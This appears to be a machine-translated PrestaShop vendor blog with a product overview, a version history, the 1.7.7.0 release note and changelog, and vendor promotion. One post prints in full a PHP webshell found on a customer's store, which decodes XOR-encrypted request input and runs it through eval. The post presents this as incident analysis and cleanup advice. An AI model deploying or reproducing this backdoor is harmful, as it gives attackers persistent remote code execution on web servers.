Categories
PrestaShop News

PrestaShop-Technical Encyclopedia-PrestaShop is a 100% free e-commerce shopping cart platform

PrestaShop

PrestaShop is a 100% free shopping cart platform with no monthly fees and no sales commissions. It can help large and small businesses build and operate successful online stores.

PrestaShop is a full-featured, cross-platform free and open source e-commerce solution designed for WEB 2.0. The software is released under an open software license. It is written in the PHP programming language, supports MySQL database management system, and has 60 different language versions.

PrestaShop has always been committed to helping entrepreneurs and companies break through the boundaries of business, so as to achieve their ambitions. It is also the leading e-commerce platform in Europe and Latin America. In 2019, online sales of the PrestaShop website exceeded 17 billion euros.

name of softwarePrestaShopsoftware platformPHP+MySQL
time onlineFebruary 20, 2008Last update timeDecember 2, 2020
Software languagePHPDeveloperPrestaShop
Software authorizationOpen Software License 3.0(OSL3.0)Software version1.7.7.0
Size of software70 MBInstallation packagehttps://www.prestashop.com/en/previous-versions
Language packhttps://www.prestashop.com/en/translationsForumhttps://www.prestashop.com/forums
Handbookhttps://www.prestashop.com/en/resourcesGitHubhttps://github.com/PrestaShop/PrestaShop
FAQhttps://www.prestashop.com/en/faqAddons/Moduleshttps://addons.prestashop.com/en/2_community-developer?contributor=1197421
Case showhttps://www.prestashop.com/en/examplesMigrate to PrestaShophttps://www.prestashop.com/en/switch-to-prestashop
Commercial castle DEMOhttps://www.prestashop.com/en/examplesInstallation Environmenthttps://www.prestashop.com/en/system-requirements
Video tutorialhttps://www.youtube.com/playlist?list=PLyZYn1MMU7-zAS_qMzXnriiKFie-Ns6yIHelp centerhttps://www.prestashop.com/en/help

Background

PrestaShop started in 2005 as a student project of EPITECH IT Academy in Paris, France. The software was originally called phpOpenStore, and it was first available in two languages: English and French. Three months after its launch, the project was translated into thirteen languages.

development path

The company PrestaShop SA was founded in 2007 by Igor Schlumberger and Bruno Lévêque. Between May 2010 and April 2012, PrestaShop increased from 17 employees to more than 100, and established a secondary headquarters in Miami. As of April 2016, PrestaShop has more than 120 employees and offices in 6 countries. In March 2014, PrestaShop SA received US$9.3 million in Series B financing to continue its global expansion plan. In January 2015, the company launched PrestaShop Cloud, a free, self-hosted version of its software, but it will no longer be available since at least 2016. According to the technology tracking website BuiltWith.com, PrestaShop has a 9% market share on open source e-commerce websites. According to W3Techs, PrestaShop is used by 0.5% of websites. According to Webspotter, PrestaShop will be used on 153,340 websites in June 2019.

business model

As an open source organization, PrestaShop faces the challenge of generating revenue. By leveraging the size and international reach of its open source community, the company has established two main sources of revenue:

  • PrestaShop Addons, a marketplace where merchants buy customized plugins and themes for their stores
  • Establish strategic partnerships with e-commerce industry leaders such as PayPal or Google

The main function

Product display

Create product

  • Create products quickly
  • Configuration functions and values
  • Create product packaging
  • Let customers upload files to sell customizable products
  • Use the combination generator to create products with variations from the attribute list
  • Create digital products
  • Attach files or display other information on the product page
  • Set the minimum purchase quantity for some products
  • Select to display the message of out of stock items

Product Navigation

  • Create categories and subcategories

Running inventory

  • Track the inventory of each product
  • Create suppliers and associate them with products
  • Create a manufacturer
  • Overview of manufacturers and suppliers through sort order and filters

Customize your store

Configure your store

  • Provide payment method
  • Configure shipping method
  • Operate the geographic delivery area and apply for a transportation company
  • Determine the price of the shipping method provided
  • Define the maximum size of the package
  • Enable SSL
  • Set store as catalog

Content and navigation

  • Configure the display of the product
  • Organize products in the store
  • Configure filters, sort order and product paging
  • Configure internal search engine
  • Display results and main information about the listed products
  • Use different display modes or hierarchical navigation
  • Add a product search box to the 404 page
  • Notify customers about your store
  • Show your physical store on Google Maps

View

  • Configure one-page checkout
  • Show a summary page before the customer verifies the shopping cart
  • Display and allow your customers to navigate through the checkout process
  • Allow your customers to quickly create accounts
  • Let your customers choose the address, choose the shipping and payment method
  • Add reinsurance text block
  • Let customers verify their orders
  • Display a confirmation page with relevant details

legal

abide by the law

  • Create a CMS page or block that focuses on legal information
  • Display legal content on specific and appropriate pages
  • Ensure that your checkout process complies with European (German) laws
  • Compliance with European laws by displaying information about shipping information and prices
  • Apply cancellation clause
  • Exclude digital goods from returnable items
  • Set up an ecological tax

Tax run

  • Configure taxes based on location
  • Taxation of shipping and packaging fees
  • Show taxes to U.S. customers

Promote your store

Create special offer

  • Configure coupons
  • Choose discount mode
  • Create price rules
  • Provide special offers according to different aspects: product, customer or order
  • Free shipping

Highlight your product

  • Display the complete product page and call-to-action, cross-selling and promotional content
  • Recommend products to customers
  • Promote specific products
  • Use sliders to promote products
  • Let customers add gift wrapping

Reinsurance customer

  • Display payment logo for reinsurance

Increase participation

  • Reduce the cost of abandoning shopping carts by sending emails
  • Attract customers by sending emails containing products that have been viewed
  • Have customers log in to receive inventory emails

Get traffic

  • SEO running my store
  • SEO running my product and CMS pages
  • Connect your store to social networks

Advertise in your store

  • Collect customer emails
  • Use images or banners to advertise in your store
  • Grant permissions to your members

Manage orders

Run order

  • Comprehensive understanding of orders
  • Create order from admin
  • Edit orders according to customer requirements
  • Create status workflows for order and return processes
  • Receive notification of new orders
  • Print delivery note in PDF format

Notify your customers about the evolution of orders

  • Create email template and send default email
  • Automatically send email

Run client 

Increase loyalty

  • Configure customer account creation form
  • Enable your customers to get an account on your store
  • Allow your customers to run and track their orders

Run your customer database

  • Manage customer addresses
  • Create a new customer or edit an existing customer
  • Import/export customer list
  • Find customers easily
  • Personalize the customer’s user experience by creating customer groups

Run your customer service

  • Access summary of customer service activities
  • Receive notification
  • Create IMAP access and send the request to the appropriate employee
  • Set default reply
  • Allow your customers to process returns
  • Generate a credit note to refund your dissatisfied customers
  • Turn any shopping cart into an order according to customer requirements
  • Display contact information and forms with predefined topics

Gain insights

general

  • Summarize your main data, define goals and track progress
  • Use filters to get forecasts for key statistics

About marketing performance

  • Assess the impact of promotional activities
  • Traffic report
  • Get insights about on-site visitor navigation
  • Obtaining data about shipping methods

About Products

  • Get a comprehensive understanding of your product
  • View your most popular products and highlight them in the store
  • Fully understand your inventory and inventory range

About sales and customers

  • Get data about sales
  • Overview of all shopping carts currently opened with statistics
  • Segment customers to better reach them

Run your company

Prevent store trouble

  • Configure email notifications to receive automatic alerts

Go further

Go international

  • Choose the country/region where you want to open a store
  • Adapt your store to your target market
  • Set currency and automatically execute exchange rate changes
  • Use multilingual product tables to adapt to different market descriptions
  • Prestashop supports more than 75 languages ​​to help you grow your e-commerce business regardless of the country/region or currency of the customer

Run multiple stores

  • Run multiple stores in the same background

Expand the store with modules and themes

  • Install and run free, external or add-on modules
  • Preview the Addons catalog and suggestions for themes and modules

Make it easier for you to use PrestaShop

  • Easily find products using the universal search bar
  • Reorganize your background menu
  • Use the automatic upgrade button faster
  • Configure cronjobs

Use development capabilities to gain insight into software

  • Get information about servers, shops, emails, databases.
  • Create and download database backups
  • Delete parts or entire database
  • Set cookie lifetime and other settings
  • Activate/deactivate iFrame and HTML purifier
  • Run cache
  • Create a set of API keys and configure permissions
  • Create SQL query

Get support

Get support

  • Get links to all available documents
  • Get help with contextual documentation
  • Disable extensions and substitutions or by switching to debug mode
  • Use quick access buttons
  • Use shortcuts to edit directories

Version record

PrestaShop v1.7.7.0 – Released on December 2, 2020

PrestaShop v1.6.0.8 – Released on June 20, 2014
  
PrestaShop v1.6.0.7 – Released on June 17, 2014
  
PrestaShop v1.6.0.6 – Released on April 10, 2014
  
PrestaShop v1.6.0.5 – Released on March 17, 2014
  
PrestaShop v1.6.0.4 – Released on March 06, 2014
  
PrestaShop v1.6.0.3 – Released on February 03, 2014
  
PrestaShop v1.6.0.2 – Released on December 19, 2013
  
PrestaShop v1.6.0.1 – Released on November 19, 2013
  
PrestaShop v1.5.6.2 – Released on January 20, 2014
  
PrestaShop v1.5.6.1 – Released on November 18, 2013
  
PrestaShop v1.5.6.0 – Released on October 07, 2013
  
PrestaShop v1.5.5.0 – Released on August 28, 2013
  
PrestaShop v1.5.4.1 – Released on April 25, 2013
  
PrestaShop v1.5.4.0 – Released on March 26, 2013
  
PrestaShop v1.5.3.1 – Released on December 31, 2012
  
PrestaShop v1.5.3.0 – Released on December 28, 2012
  
PrestaShop v1.5.2.0 – Released on October 23, 2012
  
PrestaShop v1.5.1.0 – Released on October 04, 2012
  
PrestaShop v1.5.0.17 – Released on September 13, 2012
  
PrestaShop v1.5.0.15 – Released on August 06, 2012
  
PrestaShop v1.5.0.13 – Released on June 07, 2012
  
PrestaShop v1.5.0.9 – Released on March 26, 2012
  
PrestaShop v1.5.0.5 – Released on February 14, 2012
  
PrestaShop v1.5.0.3 – Released on December 29, 2011
  
PrestaShop v1.5.0.2 – Released on December 22, 2011
  
PrestaShop v1.5.0.1 – Released on November 23, 2011
  
PrestaShop v1.4.11.0 – Released on June 27, 2013
  
PrestaShop v1.4.10.0 – Released on February 19, 2013
  
PrestaShop v1.4.9.0 – Released on August 24, 2012
  
PrestaShop v1.4.8.3 – Released on August 01, 2012
  
PrestaShop v1.4.8.2 – Released on May 14, 2012
  
PrestaShop v1.4.7.3 – Released on April 05, 2012
  
PrestaShop v1.4.7.2 – Released on March 26, 2012
  
PrestaShop v1.4.7.0 – Released on February 08, 2012
  
PrestaShop v1.4.6.2 – Released on November 25, 2011
  
PrestaShop v1.4.6.1 – Released on November 23, 2011
  
PrestaShop v1.4.5.1 – Released on October 13, 2011
  
PrestaShop v1.4.4.1 – Released on August 29, 2011
  
PrestaShop v1.4.4.0 – Released on July 29, 2011
 
PrestaShop v1.4.3.0 – Released on June 17, 2011
  
PrestaShop v1.4.2.5 – Released on June 09, 2011
  
PrestaShop v1.4.1.0 – Released on April 21, 2011
  
PrestaShop v1.4.0.17 – Released on March 16, 2011
  
PrestaShop v1.4.0.14 – Released on February 23, 2011
  
PrestaShop v1.4.0.13 – Released on February 16, 2011
  
PrestaShop v1.4.0.12 – Released on February 09, 2011
 
PrestaShop v1.4.0.11 – Released on February 02, 2011
  
PrestaShop v1.4.0.10 – Released on January 26, 2011
  
PrestaShop v1.4.0.9 – Released on January 19, 2011
  
PrestaShop v1.4.0.8 – Released on January 12, 2011
  
PrestaShop v1.4.0.7 – Released on January 05, 2011
  
PrestaShop v1.4.0.6 – Released on December 29, 2010
  
PrestaShop v1.4.0.5 – Released on December 22, 2010
  
PrestaShop v1.4.0.4 – Released on December 09, 2010
  
PrestaShop v1.4.0.3 – Released on November 25, 2010
  
PrestaShop v1.4.0.2 – Released on November 10, 2010
  
PrestaShop v1.4.0.1 – Released on June 21, 2010
  
PrestaShop v1.3.7.0 – Released on March 23, 2011
  
PrestaShop v1.3.6.0 – Released on January 12, 2011
  
PrestaShop v1.3.5.0 – Released on December 29, 2010
  
PrestaShop v1.3.4.0 – Released on December 22, 2010
  
PrestaShop v1.3.3.0 – Released on December 02, 2010
  
PrestaShop v1.3.2.3 – Released on October 01, 2010
  
PrestaShop v1.3.0.10 – Released on May 20, 2010
  
PrestaShop v1.3.0.9 – Released on May 12, 2010
  
PrestaShop v1.3.0.8 – Released on May 12, 2010
  
PrestaShop v1.3.0.7 – Released on May 05, 2010
  
PrestaShop v1.3.0.6 – Released on April 21, 2010
  
PrestaShop v1.3.0.5 – Released on April 16, 2010
  
PrestaShop v1.3.0.4 – Released on April 15, 2010
  
PrestaShop v1.3.0.3 – Released on March 03, 2010
  
PrestaShop v1.3.0.2 – Released on February 25, 2010
  
PrestaShop v1.3.1 – Released on June 04, 2010
  
PrestaShop v1.3.0.1 – Released on February 01, 2010
  
PrestaShop v1.3 – Released on May 25, 2010
  
PrestaShop v1.2.5.0 – Released on February 01, 2010
  
PrestaShop v1.2.4.0 – Released on February 01, 2010
  
PrestaShop v1.2.3.0 – Released on February 01, 2010
  
PrestaShop v1.2.2.0 – Released on February 01, 2010
  
PrestaShop v1.2.1.0 – Released on February 01, 2010
  
PrestaShop v1.2.0.8 – Released on July 29, 2009
  
PrestaShop v1.2.0.7 – Released on July 29, 2009
  
PrestaShop v1.2.0.6 – Released on July 29, 2009
  
PrestaShop v1.2.0.5 – Released on July 01, 2009
  
PrestaShop v1.2.0.4 – Released on June 17, 2009
  
PrestaShop v1.2.0.3 – Released on June 17, 2009
  
PrestaShop v1.2.0.1 – Released on May 07, 2009
  
PrestaShop v1.1 – Released on May 07, 2009
  
PrestaShop v1.1.0.1 – Released on November 04, 2008
  
PrestaShop v1.0 – Released on August 07, 2008
  
PrestaShop v0.9.7 – Released on February 20, 2008

Operating environment

Install on computer

Note: The local installation is for testing purposes only. Unless hosted on the Internet, customers will not be able to access your store.

  • Supported operating systems:  Windows ,  Mac  and  Linux
  • Apache + PHP + MySQL ready packages: WampServer or EasyPHP for Windows, XAMPP or Bitnami for Windows and OS X
  • Web server: Apache 2.2 +, Nginx
  • PHP 7.1 and above
  • Installed MySQL 5.6+ and created the database

configuration

  • In PHP configuration (php.ini file), set memory_limit to ”  256M  ” and  upload_max_filesize  to ”  16M  ” (or more, if available)
  • Essential PHP extensions:  CURL, DOM, Fileinfo, GD, Intl, Mbstring, Zip, Json, iconv

Install on the Internet

  • Domain name (or subdomain/subfolder)
  • Recommended web server:  Apache 2.2 +, Nginx
  • PHP 7.1 and above
  • Installed MySQL 5.6+ and created the database
  • FTP access (ask your hosting service for your credentials)

configuration

  • In the PHP configuration (php.ini file), set memory_limit to 256M  and  upload_max_filesize  to 16M (or more, if available). If you do not have direct access to the php.ini file, please ask your provider to change the settings for you.
  • SSL certificate  if you plan to process payments internally (for example, not using PayPal)
  • Must have PHP extension:  CURL, DOM, Fileinfo, GD, Intl, Mbstring, Zip, Json, iconv
  • Improve performance:  MemCached, Apcu, OpCache
Categories
PrestaShop News

PrestaShop 1.7.7.0 Is Available

PrestaShop 1.7.7.0 Stable Download

PrestaShop 1.7.7.0 Release Note

We are happy to announce PrestaShop 1.7.7.0 is officially available!

1.7.7.0 is available!

This release is our biggest yet. More than 1300 merged Pull Requests in 600 days, almost 120 contributors, two betas, one release candidate. Was it worth it? We absolutely think so and hope that you will enjoy using it. By the way, we know this release was expected in early 2020, there will be a build article explaining what happened this year.

New in 1.7.7.0

Productivity

The full redesign and the new features of order pages help merchants to make a better use of their time and to stay focus on their online business.

The redesign of the user interface allows merchants to find the right information quickly while the new features allow a better efficiency on daily tasks and avoid back and forth between pages.

order pages

Growth and flexibility

PrestaShop is an international solution and we aim to provide localized features for users worldwide.

The international improvements remove barriers to go international and help merchants reach more customers.

The fuzzy search improves both the user experience and the conversion rate with a new search algorithm that takes misspellings or error inputs into account.

fuzzy search

In order to allow merchants to have all the currencies they need to meet the expectations of every customer, they can now add new official and non official currencies (e.g. local or custom) to their store and customize their display per language as desired.

currencies

Robustness

We keep improving PrestaShop’s architecture and technology with the Symfony migration. 15 new pages have been migrated (including the order pages), completing almost 55% of the back office migration.

migration

More than 160 bugs have been fixed in the 1.7.7.0 release (vs 110 in 1.7.6.0), including 11 highly expected bug fixes5 front office notable fixes, and 5 back office notable fixes.

This new version also brings support for PHP 7.3!

Notable fixes since RC1

Order page (Back-office)

Back-office

Front-office

Upgrade

IMPORTANT NOTE if you plan on upgrading your shop to 1.7.7 and your current version is below 1.7.6 you need to use the latest version (4.11.0) of our 1-Click Upgrade module. Of course it’s always recommended to use the latest version when upgrading but even more so in this case since a bug related to upgrading from these older versions has been fixed in the module.

Changelog

24 pull requests have been merged since the RC1 and 22 issues have been fixed. Read the Changelog for details. This brings us to more than 1300 merged pull requests for the 1.7.7.0 milestone, it is definitely our biggest yet.

If you are looking for more details about all changes and new features expected in 1.7.7, the 1.7.7 beta version release note is the perfect article for you to read!

Download

You can download PrestaShop 1.7.7.0 here:

Download PrestaShop 1.7.7.0 now!

PrestaShop 1.7.7.0 is also available through the 1-Click Upgrade module.

Known issues

The following known regressions will be fixed in upcoming patch versions.

Orders page (Back-office)

Front-office

Back-office

Acknowledgments

PrestaShop is above all a community project: from the 119 committers who contributed to this release, the vast majority are not directly affiliated with the PrestaShop company. Also, 57 people contributed for their first time to PrestaShop in this version!

All contributors:

123monsite-regis, 202 ecommerce, Abdullah, Adib Aroui, Aitbella Mohamed, Alexis Haumaitre, Amazzing, andromaque, Antoine Damiron, Antoine Thomas, Ashish Sharawat, Aude, Aurélien Pelletier, Benjamin, Benjamin Dussouillez, Boubker Bribri, Christian Kubitza, Christophe Zarebski, cirykpopeye, Clotaire Renaud, Codencode, ComonSoft, Damian Dominella, Daniel Hlavacek, Daniel Ziegenberg, Darius Aleksiunas, David Gonzalez, Dheeraj Sharma, Dinesh Badrukhiya, Dmitry, Florentin Garnier, Florian Bergeron, Florian Le Gars, Florian Lemaitre, Franck Lefèvre, François Peyret, Gavin Kalikapersaud, hacchus, Harlock, Horia Rudan, Ibrahima Sow, idnovate, JBWModules, Jean-François Viguier, Jevgenij Visockij, Jocelyn Fournier, Jonas Erixon, Jonathan François, Jonathan Lelievre, Jonathan Vollebregt, Julian Eberius, Julien Gissinger, Julius Žukauskas, Justinas Urbanavicius, Karel Faille, Khouloud Belguith, Klemart3D, Krystian Podemski, ks129, Laurynas Sedys, Louise Bonnard, Luc Vandesype, Manfredi Petruso, Marek Hanuš, Marion François, Marvin Sauraye, Mateusz Furga, Mathias Reker, Mathieu Ferment, Matthias Raigne, Matthieu Rolland, Maxim Krizhanovsky, Mehdi Badrani, Michael Voříšek, Mickaël Andrieu, mushroot, Nesrine Abdmouleh, okom3pom, Pablo Borowicz, Paulo Baptista, Peeyush Agrawal, Pierre Rambaud, pojebunny, Presta Module, Prestashark.eu, Prestaworks, PrestaworksNiklas, PululuK, Puma, Raimondas Sapola, Raúl Jiménez, Rinku Kazeno, Rodrigo Laurindo, Rokas Zygmantas, Rolige eCommerce Solutions, Roman Ondráček, seleda, Sergio Quiñonez, Simon Garny, Simone, Stephane Decisy, Sylvestre Nicky, Sébastien Bareyre, Tadas Davidsonas, Tanguy Salmon, Thomas Baccelli, Thomas L’huillier, Thomas Leviandier, Thomas Nabord, Tomas Ilginis, Tuni-Soft, Valentin Szczupak, venditdevs, Vincent Hadjedj, Vladimir, Web Premiere, webmak, Yannick Armand, Šarūnas Jonušas

A huge thanks to everyone involved in this version! Thank you again for helping improve the lives of more than 300,000 online merchants with ideas, improvements, and fixes!

PrestaShop 1.7.7.0 Changelog

- Back Office:
  - Bug fix:
    - #22191: Validate currency localized names (by @jolelievre)
    - #22013: Handle parallel updates from CartRules when updating a product in Order (by @jolelievre)
    - #22018: Order zero ratio for order detail tax (by @matks)
    - #21781: Remove gifted quantity from product order quantity (by @sowbiba)
    - #21994: Remove or cancel all products (by @jolelievre)
    - #21721: Handle Shop context override in order editing (by @jolelievre)
    - #21816: Remove useless logic Product customization images in Order Page and handle exotic chars in name (by @matks)
    - #21853: Add missing use in CancelOrderProductHandler (by @matks)
    - #21830: Correctly generate cart error messages (by @jolelievre)
    - #21555: Fixed increment button when adding a product out of stock and with allow order (by @Progi1984)
    - #21526: Improved Error message in New Order Page when adding a minimal product (by @Progi1984)
    - #21557: Fix product pagination when adding a product in an empty order (by @atomiix)
- Front Office:
  - Bug fix:
    - #21981: Make sure favicon, stores_icon and logo are correctly settled for themes (by @PierreRambaud)
- Core:
  - Bug fix:
    - #22178: Set numeric_iso_code & precision in currency from CLDR when upgrading (by @atomiix)
    - #22182: Update pear/archive_tar to 1.4.11 (by @PierreRambaud)
    - #22174: Use displayHeader hook instead of Header (by @atomiix)
    - #22164: Fix upgrade script from < 1.7.6.0 to 1.7.7.0 (by @atomiix)
    - #22146: Remove --classmap-authoritative when building release (by @atomiix)
    - #22130: Fix dependency which is targeting the v1.3.0 instead of the 1.3 branch (by @PierreRambaud)
    - #21975: Correctly substring fields before update, remove duplicates and add missing sql queries (by @PierreRambaud)
- Installer:
  - Improvement:
    - #21957: Update latest native modules (by @jolelievre)
  - Bug fix:
    - #21953: Fix "column count doesn't match value count" error during upgrade (by @okom3pom)
- Localization:
  - Improvement:
    - #22063: Last translation updates (by @jolelievre)
- Tests:
  - Refactoring:
    - #22055: Delete spaces in the end of title name in faker for UI tests (by @boubkerbribri)
Categories
PrestaShop News PrestaShop Security

Several industry must-have tools to improve the security of PrestaShop foreign trade e-commerce website

PrestaShop development history

PrestaShop is an excellent and powerful foreign trade open source e-commerce software. We started using PrestaShop in 2009, when PrestaShop was still version 0.9: fresh interface, powerful performance, and friendly extensions. Neither the bulkiness of Magento nor the old age of ZenCart, nor the fragility of OpenCart, so PrestaShop has sprung up like bamboo shoots after a rain, and it has quickly become popular around the world, and is generally loved by users. (As for which foreign trade open source e-commerce software such as PrestaShop, Magento, ZenCart, OpenCart, etc. is better? ), as a new generation of e-commerce solutions, PrestaShop is very popular all over the world, with 300,000+ merchants, 1 million+ community users, 1,000+ developers, and 250+ agents.

As PrestaShop continues to grow, we believe that PrestaShop will get better and better:

PrestaShop information security

Benefiting from the good structure of PrestaShop, the security issues of PrestaShop are still very commendable, but as the technical level of the personnel involved in the development of PrestaShop is uneven, the vulnerability of PrestaShop has begun to appear. We can search for PrestaShop in the Openwall. Check the vulnerability information of PrestaShop. Up to now, PrestaShop has been developed for 11 years+. If you have the technical ability, welcome to submit vulnerability information and jointly build PrestaShop information security. ZHSoft has been in the field of PrestaShop for 11 years+.

PrestaShop security vulnerabilities explained

After customer feedback, there is a file on his website, which is always restored no matter how it is modified. Finally, our senior engineers checked his PrestaShop website and found the problem. The specific PrestaShop Trojan file is as follows:

<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='user';
$T='12345678';

    $F=O(E(file_get_contents(I()),$T));
    if (isset($_SESSION[$V])){
        $L=$_SESSION[$V];
        $A=explode('|',$L);
        class C{public function nvoke($p) {eval($p."");}}
        $R=new C();
		$R->nvoke($A[0]);
        echo E(run($F),$T);
    }else{
        $_SESSION[$V]=$F;
    }

It can be seen that the core statement of the above Trojan horse is:

function I(){
    return "php://input";
}

php://input is to receive external information transmission, which is usually said: broiler, remote control, as long as this Trojan file exists, no matter how hard the customer tries, it is futile, because the Trojan file can transmit any virus file remotely. Going to the website is extremely harmful.

PrestaShop security vulnerability patch

After analysis by our senior engineers, the final solution to the above problems is also very clear:

  • First, Trojan files are found in the lower row of the entire website and deleted directly.
  • Then modify all server passwords, database passwords, FTP passwords, and website backend passwords.

Written at the end, now PrestaShop is more and more popular with everyone, and the technical level of the developers is also uneven. It is recommended that you choose a developer with technical strength and support long-term after-sales (recommendation: ZHSoft.), do not Coveting petty gains damages their own information security, because data is priceless.

Here, I would like to recommend several industry-required tools to improve the security of PrestaShop foreign trade e-commerce website:

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system

Google reCAPTCHA is a free service that protects your site from spam and abuse.Using this service can make your website more secure, away from robot attacks, brute force cracking, simulated submission, remote registration, spam, etc.

The above is all the solutions for PrestaShop information security, I hope it will be useful to everyone.

Remind again: It is recommended that you choose a developer with technical strength and support long-term after-sales service (recommendation: ZHSoft.), do not greed for small bargains and damage your own information security, because: data is priceless.

Categories
PrestaShop News

The PrestaShop technical community is established!

As a new generation of e-commerce solutions, PrestaShop is very popular all over the world. It has 300,000+ merchants, 1 million+ community users, 1,000+ developers, and 250+ agents. ZHSoft as a service provider that has been in contact with PrestaShop since 2009, is proud to be committed to promoting, researching, and expanding PrestaShop. At present, it has served more than 1,000 customers!

Now, after 11 years of technology precipitation, the PrestaShop technical community is established! Provides the latest news of PrestaShop, PrestaShop product display, PrestaShop technology exchange.